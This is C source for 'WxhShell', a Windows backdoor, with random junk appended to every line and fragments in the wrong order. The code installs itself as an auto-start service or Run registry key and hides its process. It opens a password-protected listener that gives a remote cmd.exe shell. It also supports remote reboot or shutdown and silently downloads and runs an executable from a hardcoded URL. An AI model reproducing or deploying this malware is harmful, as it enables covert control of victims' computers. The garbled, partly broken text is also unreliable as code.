    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hxx.9x>ow  
    if(Boot(SHUTDOWN)) %>yL1BeA4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wY#E?,  
    else { ! if   
    closesocket(wsh); 0sqFF[i  
    ExitThread(0); SBpL6~NW  
    } H|*m$| $,  
    break; 'F<TSy|4kI  
    } LLo;\WGZ  
  // 获取shell _#niyW+?~  
  case 's': { oRFq @g  
    CmdShell(wsh); \RiP  
    closesocket(wsh); ixFi{_  
    ExitThread(0); d$RIS+V  
    break; #R"*c hLV  
  } 8y L Y  
  // 退出 |=w@H]r  
  case 'x': { -@s#uA h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @- xjfC\d  
    CloseIt(wsh); /(cPfZZ  
    break; QY/w  
    } ZH8,K Y"  
  // 离开 DF= *_,2/  
  case 'q': { >j/w@Fj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s#11FfF`  
    closesocket(wsh); Tx D#9]Q`  
    WSACleanup(); WMdg1J+~  
    exit(1); D^O@'zP=At  
    break; NOva'qk  
        } "[J^YKoF  
  } N['  .BN  
  } WJ#[LF!e  
wp_0+$?s  
  // 提示信息 #a6iuO0I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b;n[mk  
} 2ESo2  
  } (HVGlw'`  
$Yq9P0Ya  
  return; s_Sk0}e  
} pP_LR ks}  
_b 0& !l<  
// shell模块句柄 3w=J'(RU  
int CmdShell(SOCKET sock) CTb%(<r  
{ D~m*!w*  
STARTUPINFO si; I,tud!p`  
ZeroMemory(&si,sizeof(si)); ^c|/*u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @dK Tx#gZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V88p;K$+  
PROCESS_INFORMATION ProcessInfo; LoV<:|GTI  
char cmdline[]="cmd"; ;u JMG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?4,T}@P  
  return 0; 4 KiY6)  
} 6m93puY`7  
V0@=^Bls  
// 自身启动模式 KO [Yi  
int StartFromService(void) tw;}jh  
{ )5, v!X)  
typedef struct f|5co>Hk  
{ ]Ze1s02(  
  DWORD ExitStatus; :;}P*T*PU  
  DWORD PebBaseAddress; 4s- !7  
  DWORD AffinityMask; Y<OFsWYY  
  DWORD BasePriority; lxx2H1([  
  ULONG UniqueProcessId; C+$#y2"z#n  
  ULONG InheritedFromUniqueProcessId; Ui~>SN>s  
}   PROCESS_BASIC_INFORMATION; o-5TC  
uRvP hkqm  
PROCNTQSIP NtQueryInformationProcess; o!Zb0/AP)  
pBHRa?Y5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J1k>07}|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >:-$+I  
t.<i:#rj>l  
  HANDLE             hProcess; q9"96({\@  
  PROCESS_BASIC_INFORMATION pbi; y[;>#j$  
1EK *g;H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ="+#W6bZT  
  if(NULL == hInst ) return 0; Txu/{ M,  
oH@78D0A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IGl9 g_18  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w )f#V s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x2xRBkRg=  
F9PxSk_\9  
  if (!NtQueryInformationProcess) return 0; i-1op> Y  
MgZ/(X E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rq{$,/6.  
  if(!hProcess) return 0; VY-EmbkG-t  
,1`z"7\W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &oNAv-m^GD  
z{q`GwW  
  CloseHandle(hProcess); KNl$3nX  
w0. u\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P \I|,  
if(hProcess==NULL) return 0; =pNY eR_[  
mFeP9MfJ  
HMODULE hMod; h[ ZN+M  
char procName[255]; Py< }S-:  
unsigned long cbNeeded; u8^lB7!e/  
WH\d| 1)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bA 2pbjg=  
gYj'(jB  
  CloseHandle(hProcess); / {%%"j  
x`s>*^  
if(strstr(procName,"services")) return 1; // 以服务启动 SbZ6t$"  
f);FoVa6  
  return 0; // 注册表启动 z:O8Ls^\T  
} @EAbF>>  
"@kaHIf[  
// 主模块 `cO:<^%  
int StartWxhshell(LPSTR lpCmdLine) }H4RR}g  
{ kAx4fE[c  
  SOCKET wsl; bt *k.=p  
BOOL val=TRUE; Kw}'W 8`c  
  int port=0; 2%1hdA<  
  struct sockaddr_in door; PF2nLb2-  
*Ex|9FCt$  
  if(wscfg.ws_autoins) Install(); CLSK'+l  
ESs\O?nO  
port=atoi(lpCmdLine); E`q_bn  
$]1=\ I  
if(port<=0) port=wscfg.ws_port; <3iMRe  
rNM;ZPF#  
  WSADATA data; J,G lIv.A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :N@^?q{b  
$kgVa^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^8tEach  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <{pz<io)  
  door.sin_family = AF_INET; wr4:Go`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R+|hw;  
  door.sin_port = htons(port); +p^u^a  
]Dzlp7Y}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @o^Ww  
closesocket(wsl); )Z$!PqRw@u  
return 1; MDN--p08  
} iE{&*.q_}>  
*"kM{*3:v  
  if(listen(wsl,2) == INVALID_SOCKET) { hph4`{T  
closesocket(wsl); A >$I -T+  
return 1; M2|is ~  
} \9d$@V  
  Wxhshell(wsl); x"(KBEK~  
  WSACleanup(); %SI'BJ  
E9}C  #  
return 0; DJir{ \F  
;=@0'xPEa-  
} BHw, 4#F1;  
]9X DS[<2`  
// 以NT服务方式启动 _U0f=m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eFAnFJ][L  
{ 6RM/GM  
DWORD   status = 0; p7Cs.2>M>S  
  DWORD   specificError = 0xfffffff; nm+s{  
&{RDM~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ah<+y\C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l@\FWWQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \1`O_DF~o  
  serviceStatus.dwWin32ExitCode     = 0; b\ PgVBf9  
  serviceStatus.dwServiceSpecificExitCode = 0; q =Il|Nb>  
  serviceStatus.dwCheckPoint       = 0; S$k&vc(0  
  serviceStatus.dwWaitHint       = 0; ExM,g'7  
bfO=;S]b!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e%6QTg5#  
  if (hServiceStatusHandle==0) return; w:l"\Tm  
to\N i~a&  
status = GetLastError(); e*!kZAf  
  if (status!=NO_ERROR) U3kyraj  
{ <1 pEwI~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0ksa  
    serviceStatus.dwCheckPoint       = 0; Th[dW<  
    serviceStatus.dwWaitHint       = 0; Jl<2>@  
    serviceStatus.dwWin32ExitCode     = status; SzRmF1<  
    serviceStatus.dwServiceSpecificExitCode = specificError; [r-p]"R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hef g[$m  
    return; !-Y3V"  
  } dTtSUA|V7"  
rs.M]8a2{&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c)tfAD(N8x  
  serviceStatus.dwCheckPoint       = 0; <t,x RBk  
  serviceStatus.dwWaitHint       = 0; ZC}QId  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _ J[  
} B?qjkP  
'RRE|L,  
// 处理NT服务事件,比如:启动、停止 i  LAscb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ru~j,|0r4  
{ `XB 9Mi=  
switch(fdwControl) qw8Rlws%  
{ BB'OCN  
case SERVICE_CONTROL_STOP: \4#W xZ  
  serviceStatus.dwWin32ExitCode = 0; Dxxm="FQZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z)\@i=m  
  serviceStatus.dwCheckPoint   = 0; 9,tej  
  serviceStatus.dwWaitHint     = 0; -(#iIgmP  
  { T#)P`q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9C \Fq-  
  } f {"?%Ku#  
  return; )WoxMmz  
case SERVICE_CONTROL_PAUSE: ;\l,5EG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 63A.@mL  
  break; j)GtEP<n#  
case SERVICE_CONTROL_CONTINUE: 2Gdd*=4z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m_l[MG\  
  break; &I406Z f7y  
case SERVICE_CONTROL_INTERROGATE: u4_9)P`]0  
  break; FE{FGM q  
}; ; Hd7*`$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f`/x"@~H5  
} +@:x!q|^  
3Hm/(C  
// 标准应用程序主函数 3{h_&Gbo'D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pBPl6%C.X-  
{ n}77##+R&C  
_7)n(1h[3b  
// 获取操作系统版本 TuYCR>P[  
OsIsNt=GetOsVer(); S[T8T|_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xp9pl[l  
;ZG\p TCA  
  // 从命令行安装 p[lA\@l[  
  if(strpbrk(lpCmdLine,"iI")) Install(); fg{n(TE"8  
+t:0SRSt  
  // 下载执行文件 evJ.<{M  
if(wscfg.ws_downexe) { 1>&]R=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W8!Qv8rf  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4 N7^?  
} n\.Vqe  
:Xd<74Nu  
if(!OsIsNt) { &(mR> mT  
// 如果时win9x,隐藏进程并且设置为注册表启动 %9RF   
HideProc(); L z1ME(  
StartWxhshell(lpCmdLine); *r% c  
} 0nD/;\OU  
else E=w1=,/y  
  if(StartFromService()) / Qk4  
  // 以服务方式启动 c\V7i#u[d;  
  StartServiceCtrlDispatcher(DispatchTable); -\n@%$M]G  
else E\2%E@0#  
  // 普通方式启动 ]P2"[y  
  StartWxhshell(lpCmdLine); 9]wN Bd  
%-e 82J1  
return 0; )D82N`c2\i  
} {T Ug. %u  
Gm.]sE?.  
&q|K!5[k  
78H'ax9m  
=========================================== 1|6%evPu(  
H? y,ie#u  
9v!1V,`j"  
ZEO,]$Yi7  
O|N{ v"o  
M_w<m  
" VEw"  
3J438M.ka  
#include <stdio.h> gH3vk $WS  
#include <string.h>  H =^`!  
#include <windows.h> usL* x9i  
#include <winsock2.h> Y0K[Sm>  
#include <winsvc.h> 2oRg 2R}  
#include <urlmon.h> 9 ea\vZ  
yU}qOgXx  
#pragma comment (lib, "Ws2_32.lib") qXtC^n@x  
#pragma comment (lib, "urlmon.lib") p >t#@Eu|  
7y@Pa&^8  
#define MAX_USER   100 // 最大客户端连接数 6ez<g Uf  
#define BUF_SOCK   200 // sock buffer kO*$"w#X[p  
#define KEY_BUFF   255 // 输入 buffer I[##2  
g5QZ0Qkj  
#define REBOOT     0   // 重启 h"lv7;B$  
#define SHUTDOWN   1   // 关机 pKrN:ExB"\  
fG(SNNl+D  
#define DEF_PORT   5000 // 监听端口 c[1oww  
GMl;7?RA  
#define REG_LEN     16   // 注册表键长度 t#pS{.I  
#define SVC_LEN     80   // NT服务名长度 oVe|M ss6  
mh[75(  
// 从dll定义API sC b=5uI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KOuCHqCfq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o;R2p $  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C"T;Qp~B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hP)LY=- 2  
0C6-GKbZ  
// wxhshell配置信息 .KUv( -  
struct WSCFG { #c?j\Y9nz  
  int ws_port;         // 监听端口 4X |(5q?  
  char ws_passstr[REG_LEN]; // 口令  Qq;Foa  
  int ws_autoins;       // 安装标记, 1=yes 0=no }n2M G  
  char ws_regname[REG_LEN]; // 注册表键名 8tFoN*M  
  char ws_svcname[REG_LEN]; // 服务名 ^R Fp8w(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /M4{Wc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h*$y[}hDuv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [t@Mn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tL)t"  i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O-I[igNl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v,{yU\)  
7Vo$(kj  
}; r^paD2&}  
S4Ww5G?.  
// default Wxhshell configuration q~ZNd3O  
struct WSCFG wscfg={DEF_PORT, \GZM&Zd  
    "xuhuanlingzhe", [8,yF D_U  
    1, 3ojlB|Z  
    "Wxhshell", Te wb?:  
    "Wxhshell", ,TN 2  
            "WxhShell Service", ]? g@jRs  
    "Wrsky Windows CmdShell Service", [@b&? b~K  
    "Please Input Your Password: ", OFv%B/O  
  1, IS 2^g>T#1  
  "http://www.wrsky.com/wxhshell.exe", h=kh@},  
  "Wxhshell.exe" F,dx2ZPIs?  
    }; s,=i_gyPQ  
au=o6WRa  
// 消息定义模块 }O^zl#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +hT:2TXn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dA0.v+Foz"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `~Zs0  
char *msg_ws_ext="\n\rExit."; _:C9{aEZb  
char *msg_ws_end="\n\rQuit."; db6b-Y{   
char *msg_ws_boot="\n\rReboot..."; 5b[jRj6  
char *msg_ws_poff="\n\rShutdown..."; s4SG[w!d  
char *msg_ws_down="\n\rSave to "; 4K\(xd&Q  
#Xb+`'  
char *msg_ws_err="\n\rErr!"; ^1aAjYFn  
char *msg_ws_ok="\n\rOK!"; 7-T{a<g  
7MHKeLq  
char ExeFile[MAX_PATH]; O0No'LVu  
int nUser = 0; pxf$ 1  
HANDLE handles[MAX_USER]; FPI;Jx6W'  
int OsIsNt; 5nO% Ke=  
NchXt6$i9  
SERVICE_STATUS       serviceStatus;  &8_gRP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &n?^$LTPY  
o=?C&f{  
// 函数声明 ^(h+URFpA  
int Install(void); Mo @C9Y0  
int Uninstall(void); MP 2~;T}~  
int DownloadFile(char *sURL, SOCKET wsh); [E JQ>?D  
int Boot(int flag); ,JN8f]a^"g  
void HideProc(void); c8>hc V  
int GetOsVer(void); ``e$AS  
int Wxhshell(SOCKET wsl);  {=QiZWu  
void TalkWithClient(void *cs); <5jzl  
int CmdShell(SOCKET sock); ct,l^|0Hu8  
int StartFromService(void); ux3<l+jv^  
int StartWxhshell(LPSTR lpCmdLine); #x3ujJ  
5<j%EQN|D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yz*6W zD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ve!fU  
@kU@N?5e  
// 数据结构和表定义 lBFMwJU)  
SERVICE_TABLE_ENTRY DispatchTable[] = )Ocl=H|=  
{ xD[Gq%  
{wscfg.ws_svcname, NTServiceMain}, 5 Ho^N1q  
{NULL, NULL} ql?=(b;D  
}; wz.6du6-  
sx51X^d  
// 自我安装 {aJJ `t  
int Install(void) )}'U`'q  
{ `8>Py~  
  char svExeFile[MAX_PATH]; Ox'/` Mppw  
  HKEY key; 9n5<]Q (  
  strcpy(svExeFile,ExeFile); y>|{YWbp?  
Bv. `R0e&  
// 如果是win9x系统,修改注册表设为自启动 -7&Gi +]  
if(!OsIsNt) { 0`A~HH}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !i%"7tQ3$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Q-*@6G  
  RegCloseKey(key); 'fNKlPMv4D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3lq Mucr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {$^DMANDx  
  RegCloseKey(key); v\"S Gc  
  return 0; ]$\|ktY!  
    } fH ?ha  
  } pOkLb #  
} )){9&5,0:  
else { Iu *^xn  
~ Yngkt  
// 如果是NT以上系统,安装为系统服务 f5==";eP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w L^%w9q-  
if (schSCManager!=0) Q\,o :ZU_  
{ Yl$SW;@  
  SC_HANDLE schService = CreateService $<|l E/_]  
  ( Q;J`Q wkH  
  schSCManager, w7n373y%  
  wscfg.ws_svcname, z>06hBv(?Y  
  wscfg.ws_svcdisp, RTu4@7XP  
  SERVICE_ALL_ACCESS, ~|AwN [  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H7k PM[  
  SERVICE_AUTO_START, BiZ=${y  
  SERVICE_ERROR_NORMAL, 79yd&5#e?  
  svExeFile, y{a$y}7#X  
  NULL, zn @N'R/  
  NULL, ?}Lg)EFH  
  NULL, `[YngYw  
  NULL, EK$Kee}~  
  NULL q0bHB_|wL  
  ); oo$MWN8a>r  
  if (schService!=0) \rV B5|D?  
  { <(e8sNe  
  CloseServiceHandle(schService); Q!FLR>8  
  CloseServiceHandle(schSCManager); N9rBW   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @MK"X}3  
  strcat(svExeFile,wscfg.ws_svcname); KYxBVgJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kw`VrcwjT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pBC<u  
  RegCloseKey(key);  l"zUv  
  return 0; lRP1&FH0  
    } f0LP?]  
  } Q\3 Z|%  
  CloseServiceHandle(schSCManager); *AIEl"29  
} (:+>#V)pZ  
} 47T}0q,  
zK+52jhi  
return 1; NS,5/t  
} 6dEyv99  
OlQ,Ce  
// 自我卸载 =N|kn<h4  
int Uninstall(void) 2_t=P|Uo  
{ 5ZAb]F90  
  HKEY key; VRW] a  
v}v 5  
if(!OsIsNt) { 0X(]7b&~R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @)8]e S7  
  RegDeleteValue(key,wscfg.ws_regname); YO:&;K%  
  RegCloseKey(key); p '{xoV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { br,+45:  
  RegDeleteValue(key,wscfg.ws_regname); r++i=SQax  
  RegCloseKey(key); pD@zmCU  
  return 0; %E27.$E_  
  } >LF&EM]  
} #rYENR[  
} H%z@h~s>  
else { em]xtya  
-&[z\"T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c~dM`2J,  
if (schSCManager!=0) 9''p[V.3  
{ a1MFjmq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X^@[G8v%  
  if (schService!=0) Z#Lx_*p]Q  
  { hQgN9S5P  
  if(DeleteService(schService)!=0) { <2P7utdZ  
  CloseServiceHandle(schService); [B?z1z8l  
  CloseServiceHandle(schSCManager); rvwy~hO"  
  return 0; p`+VrcCBOd  
  } xT F=Y_  
  CloseServiceHandle(schService); nb@"?<L!  
  } =V^@%YIn  
  CloseServiceHandle(schSCManager); 5su.+4z\  
} XSB8z   
} CJq c\I~  
|tG+iF@4  
return 1; "'eWn6O(  
} GH3#E*t+[  
ZxS&4>.  
// 从指定url下载文件 z*.v_Mx  
int DownloadFile(char *sURL, SOCKET wsh) .T3=Eq&"W  
{ Z|`fHO3j  
  HRESULT hr; 6d{j0?mM  
char seps[]= "/"; L=7rDW)aa  
char *token; & QY#3yj=  
char *file; Y5jYmP<  
char myURL[MAX_PATH]; |ft:|/^F&  
char myFILE[MAX_PATH]; Gm&2R4)EP  
o?!uX|Fy  
strcpy(myURL,sURL); Sa}D.SBg  
  token=strtok(myURL,seps); X N;/nU  
  while(token!=NULL) sA_X<>vAKJ  
  { v'nHFC+p  
    file=token; z/vDgH!s  
  token=strtok(NULL,seps); ULvVD6RQ47  
  } M j~${vj  
BQ#jwu0e  
GetCurrentDirectory(MAX_PATH,myFILE); {Nq?#%vdT  
strcat(myFILE, "\\"); oO:LG%q  
strcat(myFILE, file); ~R!gJTO9  
  send(wsh,myFILE,strlen(myFILE),0); q 22/_nSC  
send(wsh,"...",3,0); B+D`\Nlo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~N[|bPRmhE  
  if(hr==S_OK) !3KPwI,  
return 0; KF$%q((  
else +{xG<Wkltz  
return 1; ZW* fOaj  
_5h0@^m7y  
} {Tx 3$eU  
Mw|SH;nM  
// 系统电源模块 f%1wMOzx  
int Boot(int flag) M,L@k  
{ M+UMR+K  
  HANDLE hToken; V~c(]K)-  
  TOKEN_PRIVILEGES tkp; u<q)SQ1  
{Pvr??"r  
  if(OsIsNt) { c'lIWuL)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u~)%tL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); au A.6DQ  
    tkp.PrivilegeCount = 1; `]LODgk~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ct.Bg)E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &U0WkW   
if(flag==REBOOT) { Dtt\~m;AR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &"O_wd[+:  
  return 0; [+7"{UvT  
} cqHw^{'8  
else { d'q;+ jnP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :b,o B==%  
  return 0; \ >(zunL  
} bN4d:0Y  
  } Z#LUez;&t#  
  else { ! fX9*0L  
if(flag==REBOOT) { Lo5Jb6nm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =*[, *A  
  return 0; 9`,,%vdj  
} _jk|}IB;X  
else { >T(M0Tkt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 S^'C2/b  
  return 0; |H<|{{E  
} }7&\eV{qU  
} hX %s]"  
taBO4LV  
return 1; e8 v; D  
} lW&[mnR  
vFR 1UPF  
// win9x进程隐藏模块 H.)fO ctbO  
void HideProc(void) r \9:<i8  
{ ltP   
Za34/ro/T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]zX\8eHp!  
  if ( hKernel != NULL ) }[ 7Nb90v  
  { [3GKPX:OA/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 57'q;I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -.^@9 a>  
    FreeLibrary(hKernel); b,z R5R^D;  
  } jDFp31_X  
[p2g_bI8yK  
return; %!>k#F^S  
} m]E o(P4+  
@ 8A{ 9i  
// 获取操作系统版本 VvzPQk  
int GetOsVer(void) u_h=nk  
{ 32TP Mk  
  OSVERSIONINFO winfo; 1w(<0Be  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yl[2et  
  GetVersionEx(&winfo); ngtuYASc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J!ln=h  
  return 1; R>^5$[  
  else ::kpl2r\c  
  return 0; @2QJm  
} i%#th'C!P  
_a?wf!4>P  
// 客户端句柄模块 Jv-zB]3&  
int Wxhshell(SOCKET wsl) B/kcb(5v  
{ k*A4;Bm  
  SOCKET wsh; ")fOup@ ^a  
  struct sockaddr_in client; rGQ86L<  
  DWORD myID; 4;B= Qoxe  
?*B;514  
  while(nUser<MAX_USER) qb#V)  
{ wY."Lw> 6  
  int nSize=sizeof(client); H&"_}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I^6c 0`  
  if(wsh==INVALID_SOCKET) return 1; WBIQ%XB'  
^!zJf7(+<>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B3ohHxHu  
if(handles[nUser]==0) J@=!w[v+  
  closesocket(wsh); F#zQQ)(Pf  
else F(0pru4u  
  nUser++; t[L2'J.5  
  } Y- z~#;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1q;I7_{ 2  
roK4RYJ7)  
  return 0; P}w^9=;S  
} d!a2[2Us  
[346w <  
// 关闭 socket rd f85%%7  
void CloseIt(SOCKET wsh) O&gy(   
{ *<#]&2I  
closesocket(wsh); ur,V>J<5A  
nUser--; uC <|T  
ExitThread(0); oW\Q>c7 =  
} S1 R #]  
U O{xpY  
// 客户端请求句柄 q[We][Nrzb  
void TalkWithClient(void *cs) ?Mgt5by  
{ &**.naSo  
K~9 jin  
  SOCKET wsh=(SOCKET)cs; r;5 AY  
  char pwd[SVC_LEN]; d@`-!"  
  char cmd[KEY_BUFF]; EHE6 -^F  
char chr[1]; AmrJ_YP/t~  
int i,j; k_.j%  
,sy / r V  
  while (nUser < MAX_USER) { &El[  
E(L^hZMc  
if(wscfg.ws_passstr) { f(zuRM^5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N-_| %C-.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _3g %F  
  //ZeroMemory(pwd,KEY_BUFF); C$EFh4  
      i=0; j+ T\c2d  
  while(i<SVC_LEN) { ek_i{'hFd  
hPX2 Bp  
  // 设置超时 s^x , S  
  fd_set FdRead; &Funao>  
  struct timeval TimeOut; Qr xO erp  
  FD_ZERO(&FdRead); Iclan\q#y  
  FD_SET(wsh,&FdRead); )l/C_WEK  
  TimeOut.tv_sec=8; pQ6t]DJ4  
  TimeOut.tv_usec=0; ]'z ^Kt5S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4$#ia F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S7\jR%p b  
e^ K=8IW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TBLk+AR  
  pwd=chr[0]; I "+|cFq.  
  if(chr[0]==0xd || chr[0]==0xa) { (Nve5  
  pwd=0; EXScqGa]  
  break; Wg3WE1V  
  } I.n{ "=$B@  
  i++; ;z=C^'  
    } e?'k[ES^  
GCmVmOdKr  
  // 如果是非法用户,关闭 socket %#;(]7Zq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aABE= 9Y  
} fn"jYSy  
0yEyt7 ~@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mZ.6Njb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); & ;x1Rx  
K,T]Fuy  
while(1) { T;vPR,]rz  
?. 'oxW  
  ZeroMemory(cmd,KEY_BUFF); LZ<( :S  
1x5CsmS  
      // 自动支持客户端 telnet标准   #esu@kMU`  
  j=0; H@bmLq  
  while(j<KEY_BUFF) { )#TJw@dNf^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *d*;M>  
  cmd[j]=chr[0]; "r(pK@h  
  if(chr[0]==0xa || chr[0]==0xd) { t7`Pw33#kY  
  cmd[j]=0; 4%.2 =  
  break; Gt *<?  
  } G6g=F+X2  
  j++; /3HWP`<x  
    } XzwQ,+IAr  
$@!&ML  
  // 下载文件 NNrZb?  
  if(strstr(cmd,"http://")) { 61;5Yo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gb)iB  
  if(DownloadFile(cmd,wsh)) LR?#H)$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {xx;zjt%}}  
  else u+T, n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [~%;E[ky$  
  } FbT&w4Um=  
  else { =-& iF  
